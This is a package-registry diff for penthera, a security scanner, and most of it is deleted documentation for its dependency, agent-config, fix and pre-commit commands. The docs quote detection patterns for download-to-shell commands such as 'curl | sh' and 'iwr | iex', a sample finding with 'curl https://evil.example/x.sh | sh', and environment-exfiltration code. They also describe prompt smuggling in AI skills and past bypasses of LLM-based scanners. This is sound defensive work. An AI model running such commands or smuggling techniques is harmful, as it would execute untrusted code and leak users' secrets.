penthera 1.7.0 → 1.8.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +315 -0
- package/README.md +139 -76
- package/SECURITY.md +8 -6
- package/docs/examples/pr-dependency-review.yml +1 -1
- package/lib/adaptive-probes.js +3 -3
- package/lib/advisories/evidence.js +248 -0
- package/lib/advisories/index.js +228 -0
- package/lib/advisories/products.js +83 -0
- package/lib/advisories/versions.js +65 -0
- package/lib/agents/hidden-content.js +122 -11
- package/lib/agents/index.js +26 -6
- package/lib/agents/lock.js +33 -5
- package/lib/agents/rules.js +33 -4
- package/lib/compliance/index.js +4 -4
- package/lib/crawler.js +12 -15
- package/lib/deps/capabilities.js +21 -5
- package/lib/deps/findings.js +309 -0
- package/lib/deps/index.js +13 -272
- package/lib/deps/iocs.js +74 -0
- package/lib/deps/lockfile.js +3 -8
- package/lib/deps/online.js +8 -3
- package/lib/deps/popular-packages.json.gz +0 -0
- package/lib/deps/popular-pypi.json.gz +0 -0
- package/lib/deps/python/capabilities.js +16 -3
- package/lib/deps/python/index.js +5 -1
- package/lib/deps/python/lockfiles.js +11 -5
- package/lib/deps/python/source.js +75 -26
- package/lib/deps/python/toml.js +15 -3
- package/lib/deps/source.js +28 -9
- package/lib/deps/typosquat.js +30 -5
- package/lib/fix/apply.js +253 -34
- package/lib/fix/index.js +7 -4
- package/lib/fix/model.js +25 -5
- package/lib/fix/util.js +6 -2
- package/lib/fuzzer.js +3 -3
- package/lib/git.js +65 -0
- package/lib/hook/index.js +157 -73
- package/lib/hook/policy.js +10 -4
- package/lib/install/index.js +4 -7
- package/lib/machine.js +0 -13
- package/lib/memory/store.js +11 -4
- package/lib/nuclei-loader.js +0 -25
- package/lib/owasp-wstg.js +4 -0
- package/lib/plugins.js +1 -1
- package/lib/provenance.js +1 -0
- package/lib/recon.js +12 -31
- package/lib/references.json +224 -0
- package/lib/retirejs.js +4 -4
- package/lib/rules/advisories/advisories.json +186 -0
- package/lib/rules/advisories/eol.json +413 -0
- package/lib/rules/advisories/pack.json +20 -0
- package/lib/rules/advisories/pack.json.sig +6 -0
- package/lib/rules/allowed_signers +13 -0
- package/lib/rules/core/agent-exec.json +29 -0
- package/lib/rules/core/agent-instructions.json +17 -0
- package/lib/rules/core/pack.json +30 -0
- package/lib/rules/core/pack.json.sig +6 -0
- package/lib/rules/core/secrets.json +161 -0
- package/lib/rules/core/templates.json +52 -0
- package/lib/rules/index.js +107 -0
- package/lib/rules/ioc-2025-2026/files.json +43 -0
- package/lib/rules/ioc-2025-2026/hosts.json +35 -0
- package/lib/rules/ioc-2025-2026/pack.json +25 -0
- package/lib/rules/ioc-2025-2026/pack.json.sig +6 -0
- package/lib/rules/ioc-2025-2026/packages.json +1048 -0
- package/lib/rules/pack.js +452 -0
- package/lib/rules/regex-guard.js +81 -9
- package/lib/rules/sshsig.js +205 -0
- package/lib/templates.js +24 -20
- package/lib/tmp.js +21 -0
- package/lib/whitebox/frameworks.js +1 -1
- package/lib/whitebox/secrets.js +117 -41
- package/package.json +12 -4
- package/scripts/rules/build-pack.mjs +80 -0
- package/scripts/rules/check-bundled.mjs +30 -0
- package/scripts/rules/sign-pack.sh +32 -0
- package/skills/penthera/SKILL.md +16 -15
- package/src/agent/git.js +147 -14
- package/src/agent/loop.js +165 -46
- package/src/cli/agent.js +11 -5
- package/src/cli/deps.js +0 -2
- package/src/cli/detect.js +14 -7
- package/src/cli/fix.js +26 -8
- package/src/cli/hook.js +2 -1
- package/src/cli/onboarding.js +14 -6
- package/src/cli/report-outputs.js +1 -0
- package/src/cli/rules.js +144 -0
- package/src/cli/ui.js +43 -10
- package/src/cli.js +24 -1
- package/src/report/evidence.js +105 -21
- package/src/report/footer.js +1 -1
- package/src/report/md-escape.js +8 -0
- package/src/scan-repo.js +6 -0
- package/src/scan-url.js +11 -3
- package/src/ui/api/data.js +39 -6
- package/src/ui/api/routes.js +44 -11
- package/src/ui/api/runs.js +32 -7
- package/src/ui/security.js +20 -23
- package/src/ui/server.js +52 -27
- package/src/ui/static/app.css +583 -213
- package/src/ui/static/favicon.svg +1 -1
- package/src/ui/static/fonts/DepartureMono-LICENSE.txt +93 -0
- package/src/ui/static/fonts/DepartureMono-Regular.woff2 +0 -0
- package/src/ui/static/index.html +5 -4
- package/src/ui/static/js/api.js +114 -6
- package/src/ui/static/js/app.js +81 -42
- package/src/ui/static/js/center.js +246 -133
- package/src/ui/static/js/charts.js +99 -18
- package/src/ui/static/js/copy.js +68 -9
- package/src/ui/static/js/dialog.js +152 -0
- package/src/ui/static/js/left.js +23 -60
- package/src/ui/static/js/menubar.js +170 -0
- package/src/ui/static/js/onboarding.js +104 -0
- package/src/ui/static/js/panels.js +186 -0
- package/src/ui/static/js/right.js +69 -188
- package/src/ui/static/js/state.js +36 -5
- package/src/ui/static/logo.svg +10 -0
- package/src/ui/static/mark.svg +3 -0
- package/src/utils/http.js +162 -13
- package/docs/METHODOLOGY.md +0 -375
- package/docs/commands/README.md +0 -24
- package/docs/commands/action.md +0 -21
- package/docs/commands/agents.md +0 -38
- package/docs/commands/deps.md +0 -115
- package/docs/commands/fix.md +0 -53
- package/docs/commands/hook.md +0 -69
- package/docs/commands/init.md +0 -114
- package/docs/commands/install.md +0 -53
- package/docs/commands/scan.md +0 -100
- package/docs/commands/skill.md +0 -58
- package/docs/compare/README.md +0 -25
- package/docs/compare/github.md +0 -60
- package/docs/compare/semgrep.md +0 -54
- package/docs/compare/snyk.md +0 -62
- package/docs/compare/socket.md +0 -78
- package/docs/compare/zap.md +0 -59
- package/docs/compliance-cra.md +0 -141
- package/docs/compliance-nis2.md +0 -168
- package/docs/dashboard.md +0 -187
- package/docs/evidence.md +0 -162
- package/docs/funding/due-diligence-checklist.md +0 -79
- package/docs/funding/nlnet-ngi-zero-draft.md +0 -273
- package/docs/funding/partner-one-pager.md +0 -84
- package/docs/funding/sponsor-tiers.md +0 -81
- package/docs/index.md +0 -81
- package/docs/internal-audit.md +0 -83
- package/docs/local-loop.md +0 -276
- package/docs/marketing.md +0 -151
- package/docs/owasp-wstg-coverage.md +0 -79
- package/docs/plan.md +0 -102
- package/docs/privacy.md +0 -38
- package/docs/references.bib +0 -559
- package/docs/references.md +0 -119
- package/docs/release-plan.md +0 -228
- package/docs/research/socket-positioning-notes.md +0 -183
- package/docs/use-cases/README.md +0 -14
- package/docs/use-cases/agencies.md +0 -71
- package/docs/use-cases/ai-coding-teams.md +0 -81
- package/docs/use-cases/eu-sme-compliance.md +0 -68
- package/docs/use-cases/open-source-maintainers.md +0 -75
- package/docs/use-cases/solo-founder.md +0 -65
- package/lib/deps/popular-packages.json +0 -1
- package/lib/deps/popular-pypi.json +0 -1
package/docs/commands/action.md
DELETED
|
@@ -1,21 +0,0 @@
|
|
|
1
|
-
# The GitHub Action
|
|
2
|
-
|
|
3
|
-
### Use as a GitHub Action
|
|
4
|
-
|
|
5
|
-
```yaml
|
|
6
|
-
- uses: danoszz/penthera@<release-commit-sha> # v1.4.0
|
|
7
|
-
with:
|
|
8
|
-
mode: deps # deps | agents | scan (scan also needs url:)
|
|
9
|
-
fail-on: none # none | high | critical
|
|
10
|
-
```
|
|
11
|
-
|
|
12
|
-
On every pull request it posts one comment with the capability diff against
|
|
13
|
-
the PR base and edits that same comment on each push. It also uploads SARIF to
|
|
14
|
-
code scanning. Penthera runs from the action's own checkout: no npx, no install
|
|
15
|
-
from npm, no registry lookups. On fork PRs the token is read-only, so the diff
|
|
16
|
-
goes to the job summary instead. Inputs: `mode`, `path`, `base-ref`, `url`,
|
|
17
|
-
`fail-on`, `comment`, `sarif`, `penthera-version`. Copy the full workflow, with
|
|
18
|
-
permissions and a lockfile paths filter, from
|
|
19
|
-
[`docs/examples/pr-dependency-review.yml`](../examples/pr-dependency-review.yml).
|
|
20
|
-
|
|
21
|
-
[Back to the README](../../README.md) · [All commands](README.md)
|
package/docs/commands/agents.md
DELETED
|
@@ -1,38 +0,0 @@
|
|
|
1
|
-
# Auditing your AI tooling: `penthera agents`
|
|
2
|
-
|
|
3
|
-
## Audit your agent setup
|
|
4
|
-
|
|
5
|
-
Your AI tools run code too. `penthera agents` audits the skills, MCP servers,
|
|
6
|
-
hooks, permissions, plugins and rule files that Claude Code, Cursor, Claude
|
|
7
|
-
Desktop, VS Code and Copilot load, and grades the setup A to F.
|
|
8
|
-
|
|
9
|
-
```bash
|
|
10
|
-
penthera agents # this repo: .mcp.json, .claude/, .cursor/, AGENTS.md, CLAUDE.md, skills/
|
|
11
|
-
penthera agents --home # + ~/.claude (hooks, permissions, plugins, skills), ~/.cursor/mcp.json, Claude Desktop
|
|
12
|
-
penthera agents ./some-skill # vet a downloaded skill before you install it
|
|
13
|
-
penthera agents --pin # write penthera.lock; later runs flag anything that changed
|
|
14
|
-
```
|
|
15
|
-
|
|
16
|
-
It is **offline and deterministic**: no LLM judge, no registry lookups, nothing
|
|
17
|
-
leaves your machine, and it never modifies the config it reads. Every verdict
|
|
18
|
-
is a rule you can read in [`lib/agents/`](../../lib/agents/), so a skill can't talk
|
|
19
|
-
its way past it.
|
|
20
|
-
|
|
21
|
-
| Check | What it catches |
|
|
22
|
-
|---|---|
|
|
23
|
-
| Hidden content | Unicode tag characters (decoded), zero-width and bidi controls, variation-selector smuggling, text pushed past a wall of blank lines or off-screen, instructions in HTML comments, text addressed to the scanner, base64 blobs (decoded and classified), `.pyc`/archives/executables in a skill folder (by magic bytes, so a renamed `.png` doesn't hide one), symlinks that leave the folder |
|
|
24
|
-
| Code execution | `curl \| sh`, `wget \| bash`, `bash <(curl …)`, `eval "$(curl …)"`, `base64 -d \| sh`, `exec(base64…)`, PowerShell `iwr \| iex`, in skills, scripts, hooks and MCP launch commands |
|
|
25
|
-
| MCP servers | `npx -y` / `uvx` / `bunx` / `pnpm dlx` without an exact version, inline secrets in `env`, headers or args (same rules as the repo secret scan), remote servers over plain `http://` |
|
|
26
|
-
| Hooks & permissions | Hooks that auto-approve tool calls or pipe into a shell (including the scripts they run), `Bash(*)` and other wildcard allows, `bypassPermissions`, allow rules for `~/.ssh` and other credential files, wildcards in a skill's `allowed-tools` |
|
|
27
|
-
| Plugins | Marketplaces and marketplace plugins not pinned to a commit |
|
|
28
|
-
| Rug pulls | `--pin` writes SHA-256 hashes of every skill folder, MCP server definition, hook and installed plugin to `penthera.lock`. A later run reports what changed, appeared or disappeared |
|
|
29
|
-
|
|
30
|
-
Each finding names the OWASP [MCP Top 10](https://owasp.org/www-project-mcp-top-10/)
|
|
31
|
-
and [Agentic Top 10](https://genai.owasp.org/) (ASI) ids it maps to, and the
|
|
32
|
-
usual `--json`, `-o`, `--markdown` and `--sarif` outputs all work. The scanner
|
|
33
|
-
is built for the ways LLM-judged skill scanners have been bypassed: it reads
|
|
34
|
-
whole files (no context window to overflow), every file in a skill folder (not
|
|
35
|
-
just `SKILL.md`), and treats text aimed at a reviewer as a finding rather than
|
|
36
|
-
an argument.
|
|
37
|
-
|
|
38
|
-
[Back to the README](../../README.md) · [All commands](README.md)
|
package/docs/commands/deps.md
DELETED
|
@@ -1,115 +0,0 @@
|
|
|
1
|
-
# Dependency risk: `penthera deps`
|
|
2
|
-
|
|
3
|
-
## Dependency risk: what can your packages do?
|
|
4
|
-
|
|
5
|
-
A lockfile change is code you did not write, about to run with your app's access
|
|
6
|
-
to files, network, environment and CI secrets. `penthera deps` reads
|
|
7
|
-
`package-lock.json`, statically scans every installed package, and tells you
|
|
8
|
-
what each one *can do*, and which packages are new or gained capabilities in an
|
|
9
|
-
upgrade.
|
|
10
|
-
|
|
11
|
-
```bash
|
|
12
|
-
penthera deps # every package in node_modules
|
|
13
|
-
penthera deps --base origin/main # capability diff vs the lockfile on main
|
|
14
|
-
penthera deps --diff ../base-checkout # diff vs another installed tree (or an old package-lock.json)
|
|
15
|
-
penthera deps --pr-comment deps.md # short Markdown diff for a PR comment
|
|
16
|
-
```
|
|
17
|
-
|
|
18
|
-
```
|
|
19
|
-
▲ net-helper 1.0.0 → 1.1.0 + network, whole environment
|
|
20
|
-
node_modules/net-helper/index.js:3 const https = require('https');
|
|
21
|
-
node_modules/net-helper/index.js:5 const body = JSON.stringify(process.env);
|
|
22
|
-
```
|
|
23
|
-
|
|
24
|
-
| Capability | Detected from |
|
|
25
|
-
|---|---|
|
|
26
|
-
| Install scripts | `preinstall` / `install` / `postinstall`, and `binding.gyp` (npm runs `node-gyp` implicitly). Flagged as risky when the hook pipes a download to a shell or runs a file with network or decoding code |
|
|
27
|
-
| Shell, network, dynamic code | `child_process`; `http`/`https`/`net`/`dgram`/`tls`/`http2`, `fetch`, `WebSocket`; `eval`, `new Function`, `vm` |
|
|
28
|
-
| Environment | `process.env` reads, and bulk access (`JSON.stringify(process.env)`, enumeration). Serialising the environment next to network code is reported as likely exfiltration |
|
|
29
|
-
| Files, modules, native | Writes near home-directory or system paths; computed `require()`/`import()`; `.node` addons and `binding.gyp` |
|
|
30
|
-
| Obfuscation | Obfuscator identifiers (`_0x…`), `\x`-escape density, encoded blobs that are decoded and run (embedded WebAssembly and ANSI colour codes are recognised and ignored) |
|
|
31
|
-
| Attack indicators | Writes to `~/.claude`, `~/.cursor`, `.mcp.json` or the Claude Desktop config; running the `claude`, `gemini` or `q` CLIs (the s1ngularity pattern); GitHub token harvesting |
|
|
32
|
-
| Typosquats | Edit distance, separator and suffix tricks against ~7,800 popular npm names, vendored in the package and refreshed at release time |
|
|
33
|
-
|
|
34
|
-
Every capability carries `file:line` evidence. It is a regex-and-tokenizer pass,
|
|
35
|
-
not a full parser: deterministic, never executes package code, and fast enough
|
|
36
|
-
for every PR (0.4 s for Penthera's own 61 packages, 5 to 16 s for real app
|
|
37
|
-
trees of 500 to 1,700 packages). A capability is what code
|
|
38
|
-
*can* do, not proof that it is malicious; the findings carry honest confidence
|
|
39
|
-
labels (`potential` for obfuscation and typosquats).
|
|
40
|
-
|
|
41
|
-
**Offline by default.** Old versions for the diff come from the base tree's
|
|
42
|
-
`node_modules` or from npm's local cache (`~/.npm/_cacache`), looked up by the
|
|
43
|
-
lockfile's integrity hash and verified byte for byte. `--online` is the only
|
|
44
|
-
network use: it asks the npm registry for publish dates, publisher changes and
|
|
45
|
-
deprecations, and fetches old tarballs the cache does not have (verified the
|
|
46
|
-
same way). To comment the capability diff on every PR that changes the
|
|
47
|
-
lockfile, use the GitHub Action below.
|
|
48
|
-
|
|
49
|
-
### npm and Python
|
|
50
|
-
|
|
51
|
-
The same command reads Python projects: `uv.lock`, `poetry.lock`, `pdm.lock`,
|
|
52
|
-
`Pipfile.lock` or `requirements*.txt` (pinned and `--hash` lines), and the
|
|
53
|
-
installed `.venv` / `venv` (or `--venv <path>`) through
|
|
54
|
-
`site-packages/*.dist-info` `RECORD` files, without running pip or Python. A
|
|
55
|
-
repo with both a `package-lock.json` and Python inputs gets one combined report.
|
|
56
|
-
|
|
57
|
-
```bash
|
|
58
|
-
penthera deps # uv.lock + .venv
|
|
59
|
-
penthera deps --venv ~/.venvs/app # a virtualenv somewhere else (no lockfile needed)
|
|
60
|
-
penthera deps --base origin/main # capability diff vs the Python lockfile on main
|
|
61
|
-
```
|
|
62
|
-
|
|
63
|
-
Capabilities and evidence are the same as for npm (`subprocess`/`os.system`,
|
|
64
|
-
`socket`/`requests`/`httpx`/`aiohttp`, `os.environ` bulk access,
|
|
65
|
-
`eval`/`exec`/`compile`, computed `__import__`, native `.so`/`.pyd`, AI-agent
|
|
66
|
-
indicators), plus what is specific to Python: `setup.py` custom commands
|
|
67
|
-
(install-time code), `.pth` files with `import` lines (they run on every
|
|
68
|
-
interpreter start, a known persistence trick), unpickling, `exec` of a
|
|
69
|
-
base64/zlib-decoded payload, installed files that no longer match their
|
|
70
|
-
`RECORD` hash, and `.pth` files no distribution owns. Old versions for the diff
|
|
71
|
-
come from pip's HTTP cache (matched by the lockfile's sha256) or uv's cache
|
|
72
|
-
(by recorded hash), otherwise they are marked "not compared". Typosquats are
|
|
73
|
-
checked against the top 8,000 PyPI projects, PEP 503 normalised.
|
|
74
|
-
`--online` registry checks are npm-only for now.
|
|
75
|
-
|
|
76
|
-
### License policy
|
|
77
|
-
|
|
78
|
-
```bash
|
|
79
|
-
penthera deps --license-policy permissive # or weak-copyleft-ok, no-agpl
|
|
80
|
-
penthera deps --license-policy legal/policy.json # a file with a "licenses" section
|
|
81
|
-
```
|
|
82
|
-
|
|
83
|
-
Without the flag, `penthera deps` applies the `licenses` section of
|
|
84
|
-
`penthera.policy.json` when there is one:
|
|
85
|
-
|
|
86
|
-
```json
|
|
87
|
-
{
|
|
88
|
-
"licenses": {
|
|
89
|
-
"preset": "permissive",
|
|
90
|
-
"allow": ["Python-2.0"],
|
|
91
|
-
"deny": ["WTFPL"],
|
|
92
|
-
"allowPackages": ["@acme/*", "sharp@0.33.5"],
|
|
93
|
-
"unknown": "warn"
|
|
94
|
-
}
|
|
95
|
-
}
|
|
96
|
-
```
|
|
97
|
-
|
|
98
|
-
| Preset | Allows |
|
|
99
|
-
|---|---|
|
|
100
|
-
| `permissive` | MIT, ISC, BSD, Apache-2.0, 0BSD, Unlicense, CC0, Zlib, BlueOak and similar. Everything else breaches |
|
|
101
|
-
| `weak-copyleft-ok` | `permissive` plus LGPL, MPL, EPL, CDDL and Artistic-2.0 |
|
|
102
|
-
| `no-agpl` | Anything except AGPL and SSPL (network copyleft) |
|
|
103
|
-
|
|
104
|
-
Licenses come from the lockfile (npm records them in v2 and v3), else from
|
|
105
|
-
the installed `package.json`. Expressions are parsed as SPDX:
|
|
106
|
-
`MIT OR GPL-3.0-only` passes `permissive` because one branch is enough, while
|
|
107
|
-
`MIT AND GPL-3.0-only` does not. Deprecated ids (`GPL-3.0`, `GPL-2.0+`) are
|
|
108
|
-
matched to their current form, so a deny of `AGPL-3.0-only` also catches a
|
|
109
|
-
package that says `AGPL-3.0`. A breach and `UNLICENSED` (no rights granted)
|
|
110
|
-
are high. A missing, custom (`SEE LICENSE IN ...`) or non-SPDX license is
|
|
111
|
-
medium, or high with `"unknown": "block"`. `allowPackages` exempts packages your
|
|
112
|
-
legal review has cleared. Findings use category `license` and appear in every
|
|
113
|
-
output format, and `--sbom` now records each component's license.
|
|
114
|
-
|
|
115
|
-
[Back to the README](../../README.md) · [All commands](README.md)
|
package/docs/commands/fix.md
DELETED
|
@@ -1,53 +0,0 @@
|
|
|
1
|
-
# Fixing what it finds: `penthera fix` and `penthera agent --loop`
|
|
2
|
-
|
|
3
|
-
## Scan and fix
|
|
4
|
-
|
|
5
|
-
Penthera does not just report problems. It closes the loop: ask your agent to fix what it finds, and it detects the issue, applies a framework-aware fix to your code (shown as a diff for you to approve), and re-scans to prove it is resolved.
|
|
6
|
-
|
|
7
|
-
```
|
|
8
|
-
"Scan my app and fix what you find"
|
|
9
|
-
"Fix the security headers on my Next.js app and re-scan to confirm"
|
|
10
|
-
"Find and fix hardcoded secrets in this repo"
|
|
11
|
-
```
|
|
12
|
-
|
|
13
|
-
Fixes come from a [remediation playbook](../../skills/penthera/references/remediation.md) covering Next.js, Express, Fastify, Hono, and FastAPI. They are always shown as diffs for your approval and verified by a re-scan; nothing is applied blindly, and nothing touches production. To build secure-by-default in the first place, see [secure defaults](../../skills/penthera/references/secure-defaults.md).
|
|
14
|
-
|
|
15
|
-
### Fix recipes
|
|
16
|
-
|
|
17
|
-
For the most common findings you don't need an agent at all. `penthera fix` plans deterministic, local fixes and prints each one as a unified diff:
|
|
18
|
-
|
|
19
|
-
```bash
|
|
20
|
-
penthera fix --plan --repo . # fresh repo scan, one diff per fix
|
|
21
|
-
penthera fix --plan --repo . -o report.json # or use the findings from an earlier scan
|
|
22
|
-
penthera fix --apply <id> --repo . # apply one diff after you approve it
|
|
23
|
-
```
|
|
24
|
-
|
|
25
|
-
| Recipe | What it changes | Frameworks |
|
|
26
|
-
|--------|-----------------|------------|
|
|
27
|
-
| `security-headers` | Adds a starter CSP (with `frame-ancestors`), HSTS, X-Frame-Options, Referrer-Policy and X-Content-Type-Options | Next.js (`headers()` in `next.config.*`), Express (`helmet` if installed, otherwise a small middleware), Fastify (`@fastify/helmet` if installed, otherwise an `onSend` hook), Hono (`secureHeaders`) |
|
|
28
|
-
| `cookie-flags` | Adds `httpOnly`, `secure` and `sameSite` to cookies set in code | `res.cookie`, `reply.setCookie`, Hono `setCookie`, Next.js `cookies().set` |
|
|
29
|
-
| `cors-allowlist` | Replaces `cors()`, `origin: "*"`, `origin: true` and `origin \|\| "*"` with an allowlist from `CORS_ALLOWED_ORIGINS` | Express, Fastify, Hono, Next.js route handlers |
|
|
30
|
-
| `auth-rate-limit` | Puts a rate-limit stub (in memory, 10 attempts per 15 minutes) on login and auth routes | Express (`express-rate-limit` if installed), Fastify, Hono, Next.js App Router |
|
|
31
|
-
| `secret-to-env` | Moves a hardcoded secret in JS/TS to `process.env.NAME` and adds `NAME=` to `.env.example` | Any |
|
|
32
|
-
|
|
33
|
-
How it stays safe:
|
|
34
|
-
|
|
35
|
-
- **Planning never writes.** Applying is a separate step: it needs a plan id plus a `y/N` confirmation (or `--yes`), refuses a dirty git tree unless you pass `--allow-dirty`, refuses any path outside the repo, and writes nothing unless every hunk applies. It never commits or pushes.
|
|
36
|
-
- **Conservative edits.** No AST rewriting: each recipe edits at an anchor it recognises exactly (`const app = express()`, the exported Next.js config object, a one-line `res.cookie(...)`). If the anchor isn't there, or the code already does something custom (an existing `headers()`, cookie options in a variable), the recipe returns no plan instead of a risky diff.
|
|
37
|
-
- **Owner actions are listed, not done.** A recipe can move a secret out of the code but can never rotate it, so every secret fix says "rotate this secret". Other recipes flag what is still on you, such as tightening the starter CSP or setting `CORS_ALLOWED_ORIGINS`.
|
|
38
|
-
- **Secrets stay masked.** The secret's value is masked in printed and `--json` plans.
|
|
39
|
-
- **Verified.** After `--apply`, Penthera re-scans the repo and says whether each finding is gone. Headers, cookies, CORS and rate limits are checked statically from source, so re-run your URL scan to confirm against the live app.
|
|
40
|
-
|
|
41
|
-
No recipe for a finding? `--fix-model <name>` can ask a model running in [Ollama](https://ollama.com) on `127.0.0.1:11434`, and nowhere else. It is off by default and only used when no recipe matches. Its diffs are labelled `needs-human-review`.
|
|
42
|
-
|
|
43
|
-
### The local loop: `penthera agent --loop`
|
|
44
|
-
|
|
45
|
-
`penthera agent --loop` runs scan → fix → verify → learn on your machine until nothing fixable is left (or `--max-iterations`, default 5):
|
|
46
|
-
|
|
47
|
-
```bash
|
|
48
|
-
penthera agent --loop --repo . --url http://localhost:3000 -o reports/loop.json
|
|
49
|
-
```
|
|
50
|
-
|
|
51
|
-
It shows each diff and asks `y/n/skip/quit`, applies it on a local branch `penthera/fix-<yyyymmdd-hhmm>`, re-scans (plus your tests with `--run-tests`), commits the fix if it verified and reverts it if not, and records the outcome in [local memory](../local-loop.md). It refuses a dirty tree or a detached HEAD, runs only an allow-list of local git commands with your repo's hooks disabled, contacts only the `--url` host, and never pushes or opens a pull request. `--auto low` applies without asking only recipes that memory shows verified 3+ times with no failures on your framework. Details and the `loopRun` JSON: [docs/local-loop.md](../local-loop.md#the-agent-loop).
|
|
52
|
-
|
|
53
|
-
[Back to the README](../../README.md) · [All commands](README.md)
|
package/docs/commands/hook.md
DELETED
|
@@ -1,69 +0,0 @@
|
|
|
1
|
-
# Pre-commit hook: `penthera hook`
|
|
2
|
-
|
|
3
|
-
## Block it before it's committed
|
|
4
|
-
|
|
5
|
-
Once a secret is pushed, rotating it is the only fix. The pre-commit hook runs
|
|
6
|
-
the checks that matter on what you are about to commit, and nothing else:
|
|
7
|
-
|
|
8
|
-
```bash
|
|
9
|
-
penthera hook install # writes .git/hooks/pre-commit; an existing hook is kept and runs first
|
|
10
|
-
penthera hook run # what the hook runs; try it on staged changes
|
|
11
|
-
penthera hook uninstall # removes it and puts your old hook back
|
|
12
|
-
```
|
|
13
|
-
|
|
14
|
-
On staged content only (the git index, not your working tree):
|
|
15
|
-
|
|
16
|
-
- secrets and AI provider keys in staged files;
|
|
17
|
-
- `penthera agents` rules on staged `.mcp.json`, `CLAUDE.md`, `AGENTS.md`,
|
|
18
|
-
`.cursor/`, `.claude/` and `skills/`;
|
|
19
|
-
- when `package-lock.json` is staged, the capability diff against HEAD's
|
|
20
|
-
lockfile and the license policy, for the packages this commit adds.
|
|
21
|
-
|
|
22
|
-
```
|
|
23
|
-
✗ penthera blocked this commit: 2 findings at high or above (2 staged files, 1 agent config, 0.1s)
|
|
24
|
-
|
|
25
|
-
✗ CRITICAL .mcp.json MCP server "x" launches by downloading and running code id b5914a44a2058da9
|
|
26
|
-
→ Launch command contains a download piped to a shell: `curl https://evil.example/x.sh | sh`.
|
|
27
|
-
✗ CRITICAL config.js:1 Anthropic API key in source sk-a…AAAA id 7a0eb6998ff38787
|
|
28
|
-
→ Load it from an env var or secret store and unstage the file; rotate it if it was ever pushed or shared.
|
|
29
|
-
|
|
30
|
-
Fix and `git add` again. A false positive? Add it to penthera.suppress.json:
|
|
31
|
-
{ "version": 1, "suppress": [{ "id": "b5914a44a2058da9", "reason": "why this is safe" }] }
|
|
32
|
-
To skip the check for one commit: git commit --no-verify (the finding still ships)
|
|
33
|
-
```
|
|
34
|
-
|
|
35
|
-
It blocks on high and critical by default and takes about 0.1 to 0.5 s.
|
|
36
|
-
Configure it in `penthera.policy.json`:
|
|
37
|
-
|
|
38
|
-
```json
|
|
39
|
-
{ "hook": { "blockOn": "high", "ignore": ["tests/fixtures/**"],
|
|
40
|
-
"checks": { "secrets": true, "agents": true, "deps": true, "licenses": true } } }
|
|
41
|
-
```
|
|
42
|
-
|
|
43
|
-
If husky or lefthook manage your hooks (`core.hooksPath` is set),
|
|
44
|
-
`penthera hook install` says so instead of overwriting them. Add one line to
|
|
45
|
-
that tool instead:
|
|
46
|
-
|
|
47
|
-
```bash
|
|
48
|
-
# husky
|
|
49
|
-
echo "npx --no-install penthera hook run" >> .husky/pre-commit
|
|
50
|
-
```
|
|
51
|
-
|
|
52
|
-
```yaml
|
|
53
|
-
# lefthook.yml
|
|
54
|
-
pre-commit:
|
|
55
|
-
commands:
|
|
56
|
-
penthera:
|
|
57
|
-
run: npx --no-install penthera hook run
|
|
58
|
-
```
|
|
59
|
-
|
|
60
|
-
```yaml
|
|
61
|
-
# .pre-commit-config.yaml (pre-commit.com)
|
|
62
|
-
repos:
|
|
63
|
-
- repo: https://github.com/danoszz/penthera
|
|
64
|
-
rev: <tag or sha>
|
|
65
|
-
hooks:
|
|
66
|
-
- id: penthera
|
|
67
|
-
```
|
|
68
|
-
|
|
69
|
-
[Back to the README](../../README.md) · [All commands](README.md)
|
package/docs/commands/init.md
DELETED
|
@@ -1,114 +0,0 @@
|
|
|
1
|
-
# Set up in one command: `penthera init`
|
|
2
|
-
|
|
3
|
-
## Start here
|
|
4
|
-
|
|
5
|
-
New to Penthera? Run it with no arguments in your project folder:
|
|
6
|
-
|
|
7
|
-
```bash
|
|
8
|
-
npx penthera # in a terminal, with no arguments: the setup wizard
|
|
9
|
-
penthera init # the same wizard, by name (also works with piped answers)
|
|
10
|
-
penthera init --yes # accept every safe default, ask nothing
|
|
11
|
-
penthera init --dry-run # show what would run and be written, change nothing
|
|
12
|
-
```
|
|
13
|
-
|
|
14
|
-
The wizard finds what your project has, asks one question about what to check,
|
|
15
|
-
runs those checks offline, shows one summary, and then offers to set up the
|
|
16
|
-
hook, the CI workflow and the rest, one yes/no at a time. Press Enter to accept
|
|
17
|
-
a default.
|
|
18
|
-
|
|
19
|
-
## What it does
|
|
20
|
-
|
|
21
|
-
**1. Detect.** Offline, read-only:
|
|
22
|
-
|
|
23
|
-
- whether this is a git repository (and which branch);
|
|
24
|
-
- the web framework, from `package.json`, `requirements.txt` or `pyproject.toml`;
|
|
25
|
-
- lockfiles: `package-lock.json`, `npm-shrinkwrap.json`, `uv.lock`,
|
|
26
|
-
`poetry.lock`, `pdm.lock`, `Pipfile.lock`, `requirements.txt`;
|
|
27
|
-
- agent config: `.mcp.json`, `.claude/`, `.cursor/`, `CLAUDE.md`, `AGENTS.md`, `skills/`;
|
|
28
|
-
- a dev server on localhost ports 3000, 5173, 8000 or 8080 (a TCP connect to
|
|
29
|
-
127.0.0.1 and ::1, nothing else);
|
|
30
|
-
- whether the Penthera pre-commit hook or a Penthera GitHub workflow is already there.
|
|
31
|
-
|
|
32
|
-
**2. Ask what to check.** One checklist, with defaults from what was found.
|
|
33
|
-
Type numbers to toggle items (`2,4`), or press Enter:
|
|
34
|
-
|
|
35
|
-
```
|
|
36
|
-
What should Penthera check?
|
|
37
|
-
1. [x] Code: secrets and risky API routes in ./ penthera --repo .
|
|
38
|
-
2. [x] Dependencies: what your npm and Python packages can do penthera deps
|
|
39
|
-
3. [x] AI tooling: skills, MCP servers, hooks, agent instructions penthera agents
|
|
40
|
-
4. [ ] The running app at http://localhost:3000 only if it is yours
|
|
41
|
-
5. [x] Offline mode: nothing leaves this machine recommended
|
|
42
|
-
```
|
|
43
|
-
|
|
44
|
-
- AI tooling then asks whether to include `~/.claude` and `~/.cursor` too (default no).
|
|
45
|
-
- The running app is only listed when a dev server answered, is never
|
|
46
|
-
preselected, and is only scanned after you confirm it is yours (default no).
|
|
47
|
-
It runs the standard safe checks: no attack payloads.
|
|
48
|
-
- With offline mode off, `deps` also reads npm registry metadata and the URL
|
|
49
|
-
scan may download the Retire.js database. Nothing else changes.
|
|
50
|
-
|
|
51
|
-
**3. Run and summarize.** One line per check, then the grade per area (A to F,
|
|
52
|
-
the same scale as `penthera agents`), the three things to fix first in plain
|
|
53
|
-
language, and the report folder:
|
|
54
|
-
|
|
55
|
-
```
|
|
56
|
-
